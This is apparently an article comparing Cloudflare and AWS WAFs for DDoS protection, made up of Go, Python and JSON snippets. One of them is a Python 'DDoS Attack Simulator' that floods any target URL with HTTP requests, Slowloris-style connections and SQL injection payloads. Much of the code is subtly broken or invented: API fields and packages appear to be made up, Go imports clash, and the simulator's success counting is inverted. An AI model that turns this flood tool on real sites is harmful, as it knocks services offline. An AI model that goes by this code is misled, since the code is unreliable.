Performance Test: Cloudflare WAF vs AWS WAF for DDoS Protection

package main

import (
    "context"
    "encoding/json"
    "fmt"
    "log"
    "net/http"
    "os"
    "time"

    "github.com/cloudflare/cloudflare-go/v4"
    "github.com/aws/aws-sdk-go-v2/aws"
    "github.com/aws/aws-sdk-go-v2/service/wafv2"
    "github.com/prometheus/client_golang/prometheus"
    "github.com/prometheus/client_golang/prometheus/promhttp"
)

// WAFMetric holds common WAF telemetry fields
type WAFMetric struct {
    Timestamp    time.Time
    BlockCount   int64
    PassCount    int64
    AttackCount  int64
    LatencyP99Ms float64
    Region       string
}

// CloudflareTelemetry fetches metrics from Cloudflare WAF API
func CloudflareTelemetry(ctx context.Context, apiKey, zoneID string) (*WAFMetric, error) {
    cf, err := cloudflare.New(apiKey, "")
    if err != nil {
        return nil, fmt.Errorf("cloudflare client init: %w", err)
    }

    metrics, err := cf.ZoneAnalytics(ctx, zoneID, cloudflare.ZoneAnalyticsOptions{
        Since: time.Now().Add(-5 * time.Minute).Unix(),
        Until: time.Now().Unix(),
    })
    if err != nil {
        return nil, fmt.Errorf("cloudflare analytics fetch: %w", err)
    }

    // Extract DDoS specific metrics from response
    // Cloudflare returns HTTP 429 if rate limited, handle retry
    var metric WAFMetric
    metric.Timestamp = time.Now()
    metric.BlockCount = metrics.Security.DDoS.BlockCount
    metric.PassCount = metrics.Security.DDoS.PassCount
    metric.AttackCount = metrics.Security.DDoS.AttackCount
    metric.LatencyP99Ms = metrics.Performance.LatencyP99Ms
    metric.Region = "global-edge"

    return &metric, nil
}

// AWSTelemetry fetches metrics from AWS WAF v2 API
func AWSTelemetry(ctx context.Context, cfg aws.Config, webACLID, region string) (*WAFMetric, error) {
    client := wafv2.NewFromConfig(cfg, wafv2.WithRegion(region))

    // Fetch sampled requests for attack detection
    sampled, err := client.GetSampledRequests(ctx, &wafv2.GetSampledRequestsInput{
        TimeWindow: &wafv2.TimeWindow{
            StartTime: aws.Time(time.Now().Add(-5 * time.Minute)),
            EndTime:   aws.Time(time.Now()),
        },
        WebAclArn: aws.String(webACLID),
    })
    if err != nil {
        return nil, fmt.Errorf("aws waf sampled requests: %w", err)
    }

    // Fetch latency metrics from CloudWatch (simplified for example)
    // In production, integrate with CloudWatch GetMetricData
    metric := WAFMetric{
        Timestamp:    time.Now(),
        BlockCount:   int64(len(sampled.SampledRequests)), // Simplified
        PassCount:    0,                                   // Populated from CloudWatch in prod
        AttackCount:  int64(len(sampled.SampledRequests)),
        LatencyP99Ms: 0,                                   // Populated from CloudWatch in prod
        Region:       region,
    }

    return &metric, nil
}

func main() {
    // Initialize Prometheus metrics
    blockCounter := prometheus.NewCounterVec(
        prometheus.CounterOpts{
            Name: "waf_block_total",
            Help: "Total blocked requests by WAF",
        },
        []string{"waf_type", "region"},
    )
    latencyGauge := prometheus.NewGaugeVec(
        prometheus.GaugeOpts{
            Name: "waf_latency_p99_ms",
            Help: "P99 latency for legitimate traffic under attack",
        },
        []string{"waf_type", "region"},
    )
    prometheus.MustRegister(blockCounter, latencyGauge)

    // Start Prometheus HTTP server
    go func() {
        http.Handle("/metrics", promhttp.Handler())
        log.Fatal(http.ListenAndServe(":9090", nil))
    }()

    // Poll WAFs every 60 seconds
    ticker := time.NewTicker(60 * time.Second)
    defer ticker.Stop()

    for range ticker.C {
        // Cloudflare metrics
        cfMetric, err := CloudflareTelemetry(context.Background(), os.Getenv("CF_API_KEY"), os.Getenv("CF_ZONE_ID"))
        if err != nil {
            log.Printf("Cloudflare telemetry error: %v", err)
        } else {
            blockCounter.WithLabelValues("cloudflare", cfMetric.Region).Add(float64(cfMetric.BlockCount))
            latencyGauge.WithLabelValues("cloudflare", cfMetric.Region).Set(cfMetric.LatencyP99Ms)
        }

        // AWS WAF metrics (simplified config)
        awsMetric, err := AWSTelemetry(context.Background(), aws.Config{}, os.Getenv("AWS_WEB_ACL_ID"), "us-east-1")
        if err != nil {
            log.Printf("AWS telemetry error: %v", err)
        } else {
            blockCounter.WithLabelValues("aws", awsMetric.Region).Add(float64(awsMetric.BlockCount))
            latencyGauge.WithLabelValues("aws", awsMetric.Region).Set(awsMetric.LatencyP99Ms)
        }
    }
}

import asyncio
import aiohttp
import random
import logging
import argparse
from typing import List, Dict
from aiohttp import ClientError, ClientTimeout

# Configure logging
logging.basicConfig(
    level=logging.INFO,
    format="%(asctime)s - %(levelname)s - %(message)s"
)
logger = logging.getLogger(__name__)

# Attack payloads
HTTP_FLOOD_PATHS = ["/api/checkout", "/api/user", "/product/12345"]
SLOWLORIS_HEADERS = {"Connection": "keep-alive", "Content-Length": "1000000"}
SQLI_PAYLOADS = ["' OR 1=1--", "admin' --", "' UNION SELECT null, null--"]

class DDoSAttackSimulator:
    def __init__(self, target_url: str, attack_type: str, intensity: int, duration: int):
        self.target_url = target_url.rstrip("/")
        self.attack_type = attack_type
        self.intensity = intensity  # Requests per second
        self.duration = duration    # Seconds
        self.timeout = ClientTimeout(total=10)
        self.success_count = 0
        self.error_count = 0

    async def _http_flood(self, session: aiohttp.ClientSession, path: str) -> None:
        """Simulate HTTP flood attack with random payloads"""
        try:
            async with session.get(f"{self.target_url}{path}", timeout=self.timeout) as resp:
                if resp.status == 403 or resp.status == 429:
                    self.success_count += 1  # Blocked by WAF = success for attacker
                else:
                    self.error_count += 1
        except ClientError as e:
            logger.debug(f"HTTP flood error: {e}")
            self.error_count += 1
        except Exception as e:
            logger.error(f"Unexpected error in HTTP flood: {e}")
            self.error_count += 1

    async def _slowloris(self, session: aiohttp.ClientSession) -> None:
        """Simulate Slowloris attack by holding connections open"""
        try:
            # Send partial request headers slowly
            async with session.post(
                f"{self.target_url}/api/upload",
                headers=SLOWLORIS_HEADERS,
                timeout=ClientTimeout(total=300),  # Hold connection for 5 minutes
                data=b"partial data"
            ) as resp:
                await asyncio.sleep(280)  # Keep connection open
                if resp.status == 403:
                    self.success_count += 1
        except ClientError as e:
            logger.debug(f"Slowloris error: {e}")
            self.error_count += 1
        except Exception as e:
            logger.error(f"Unexpected error in Slowloris: {e}")
            self.error_count += 1

    async def _sqli_attack(self, session: aiohttp.ClientSession) -> None:
        """Simulate SQL injection attack attempts"""
        try:
            payload = random.choice(SQLI_PAYLOADS)
            async with session.post(
                f"{self.target_url}/api/login",
                json={"username": payload, "password": "test"},
                timeout=self.timeout
            ) as resp:
                if resp.status == 403:
                    self.success_count += 1
        except ClientError as e:
            logger.debug(f"SQLi error: {e}")
            self.error_count += 1
        except Exception as e:
            logger.error(f"Unexpected error in SQLi: {e}")
            self.error_count += 1

    async def run(self) -> Dict[str, int]:
        """Run the attack for the specified duration"""
        logger.info(f"Starting {self.attack_type} attack: {self.intensity} RPS for {self.duration}s")
        start_time = asyncio.get_event_loop().time()

        async with aiohttp.ClientSession() as session:
            while (asyncio.get_event_loop().time() - start_time) < self.duration:
                tasks = []
                for _ in range(self.intensity):
                    if self.attack_type == "http_flood":
                        path = random.choice(HTTP_FLOOD_PATHS)
                        tasks.append(self._http_flood(session, path))
                    elif self.attack_type == "slowloris":
                        tasks.append(self._slowloris(session))
                    elif self.attack_type == "sqli":
                        tasks.append(self._sqli_attack(session))
                await asyncio.gather(*tasks)
                await asyncio.sleep(1)  # Wait 1 second between batches

        return {"success": self.success_count, "error": self.error_count}

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="DDoS Attack Simulator for WAF Testing")
    parser.add_argument("--target", required=True, help="Target URL (e.g., https://example.com)")
    parser.add_argument("--type", choices=["http_flood", "slowloris", "sqli"], required=True)
    parser.add_argument("--intensity", type=int, default=1000, help="Requests per second")
    parser.add_argument("--duration", type=int, default=300, help="Attack duration in seconds")
    args = parser.parse_args()

    simulator = DDoSAttackSimulator(args.target, args.type, args.intensity, args.duration)
    results = asyncio.run(simulator.run())
    logger.info(f"Attack complete. Success (blocked): {results['success']}, Errors: {results['error']}")

package main

import (
    "context"
    "fmt"
    "log"
    "os"

    "github.com/cloudflare/cloudflare-go/v4"
    "github.com/cloudflare/cloudflare-go/v4/wafv2"
    "github.com/aws/aws-sdk-go-v2/aws"
    "github.com/aws/aws-sdk-go-v2/config"
    "github.com/aws/aws-sdk-go-v2/service/wafv2"
    awstypes "github.com/aws/aws-sdk-go-v2/service/wafv2/types"
)

// DeployCommonRules deploys a baseline set of DDoS protection rules to both WAFs
func DeployCommonRules(ctx context.Context) error {
    // Cloudflare WAF Rule Deployment
    cfAPIKey := os.Getenv("CF_API_KEY")
    cfZoneID := os.Getenv("CF_ZONE_ID")
    if cfAPIKey == "" || cfZoneID == "" {
        return fmt.Errorf("CF_API_KEY and CF_ZONE_ID must be set")
    }

    cf, err := cloudflare.New(cfAPIKey, "")
    if err != nil {
        return fmt.Errorf("cloudflare client init: %w", err)
    }

    // Create Cloudflare WAF rule to block HTTP floods > 100 RPS per IP
    cfRule := wafv2.CreateRuleParams{
        ZoneID: cfZoneID,
        Rule: wafv2.Rule{
            Action: wafv2.RuleActionBlock,
            Expression: wafv2.Expression{
                And: []wafv2.Expression{
                    {Field: wafv2.FieldHTTPRequestRate, Operator: wafv2.OperatorGreaterThan, Value: "100"},
                    {Field: wafv2.FieldHTTPRequestIP, Operator: wafv2.OperatorExists},
                },
            },
            Description: "Block IPs with >100 RPS HTTP request rate",
            Enabled:     true,
        },
    }
    _, err = cf.WAFV2.CreateRule(ctx, cfRule)
    if err != nil {
        return fmt.Errorf("cloudflare rule create: %w", err)
    }
    log.Println("Deployed Cloudflare HTTP flood rule")

    // AWS WAF Rule Deployment
    awsCfg, err := config.LoadDefaultConfig(ctx, config.WithRegion("us-east-1"))
    if err != nil {
        return fmt.Errorf("aws config load: %w", err)
    }

    awsClient := wafv2.NewFromConfig(awsCfg)
    webACLID := os.Getenv("AWS_WEB_ACL_ID")
    if webACLID == "" {
        return fmt.Errorf("AWS_WEB_ACL_ID must be set")
    }

    // Create AWS WAF rate-based rule
    awsRule := &awstypes.Rule{
        Name: aws.String("RateLimit100RPS"),
        Action: &awstypes.RuleAction{
            Block: &awstypes.BlockAction{},
        },
        Statement: &awstypes.Statement{
            RateBasedStatement: &awstypes.RateBasedStatement{
                Limit: aws.Int64(100),
                AggregateKeyType: awstypes.RateBasedStatementAggregateKeyTypeIp,
            },
        },
        VisibilityConfig: &awstypes.VisibilityConfig{
            SampledRequestsEnabled: aws.Bool(true),
            CloudWatchMetricsEnabled: aws.Bool(true),
            MetricName: aws.String("RateLimit100RPS"),
        },
    }

    // Update Web ACL with new rule
    _, err = awsClient.UpdateWebACL(ctx, &wafv2.UpdateWebACLInput{
        Id: aws.String(webACLID),
        DefaultAction: &awstypes.DefaultAction{Allow: &awstypes.AllowAction{}},
        Rules: []awstypes.Rule{*awsRule},
        VisibilityConfig: &awstypes.VisibilityConfig{
            SampledRequestsEnabled: aws.Bool(true),
            CloudWatchMetricsEnabled: aws.Bool(true),
            MetricName: aws.String("WAFBenchmark"),
        },
    })
    if err != nil {
        return fmt.Errorf("aws waf rule update: %w", err)
    }
    log.Println("Deployed AWS WAF HTTP flood rule")

    return nil
}

func main() {
    ctx := context.Background()
    err := DeployCommonRules(ctx)
    if err != nil {
        log.Fatalf("Failed to deploy rules: %v", err)
    }
}

import subprocess
import time

def validate_canary_rule(rule_file):
    # Deploy to 5% canary traffic
    subprocess.run([
        "terraform", "apply", "-target=aws_wafv2_rule.canary",
        "-var=traffic_percent=5"
    ], check=True)
    # Wait 10 minutes for metrics to stabilize
    time.sleep(600)
    # Check error rate via Prometheus API
    error_rate = subprocess.check_output([
        "curl", "-s", "http://prometheus:9090/api/v1/query?query=http_request_error_rate"
    ])
    if float(error_rate) > 0.01:
        subprocess.run(["terraform", "destroy", "-target=aws_wafv2_rule.canary"])
        raise ValueError("Canary rule has high error rate")

import boto3

def calculate_aws_waf_egress_cost(request_count, region="us-east-1"):
    pricing = boto3.client("pricing", region_name="us-east-1")
    # Get egress pricing for region
    response = pricing.get_products(
        ServiceCode="AmazonEC2",
        Filters=[
            {"Type": "TERM_MATCH", "Field": "productFamily", "Value": "Data Transfer"},
            {"Type": "TERM_MATCH", "Field": "toLocation", "Value": "External"},
            {"Type": "TERM_MATCH", "Field": "location", "Value": region}
        ]
    )
    # Simplified: assume $0.08/GB egress
    gb_transferred = (request_count * 1024) / (1024 * 1024 * 1024)  # 1KB per request
    return gb_transferred * 0.08

{
  "dashboard": {
    "title": "WAF Performance",
    "panels": [
      {
        "title": "WAF Block Rate",
        "targets": [
          {"expr": "rate(waf_block_total[5m])", "legendFormat": "{{waf_type}}"}
        ]
      },
      {
        "title": "Application p99 Latency",
        "targets": [
          {"expr": "histogram_quantile(0.99, rate(http_request_duration_seconds_bucket[5m]))"}
        ]
      }
    ]
  }
}